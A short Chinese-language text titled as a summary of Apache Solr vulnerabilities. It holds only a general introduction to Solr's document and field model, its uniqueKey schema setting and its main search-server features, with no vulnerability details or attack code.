Apache Solr漏洞总结

Apache Solr 中存储的资源是以 Document 为对象进行存储的。每个文档由一系列的 Field 构成，每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性，默认情况下这个属性的名字是 id，在 Schema 配置文件中使用：<uniqueKey>id</uniqueKey>进行描述。Solr是一个高性能，采用Java5开发，基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器，很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括：高效、灵活的缓存功能，垂直搜索功能，高亮显示搜索结果，通过索引复制来提高可用性，提 供一套强大Data Schema来定义字段，类型和设置文本分析，提供基于Web的管理界面等。
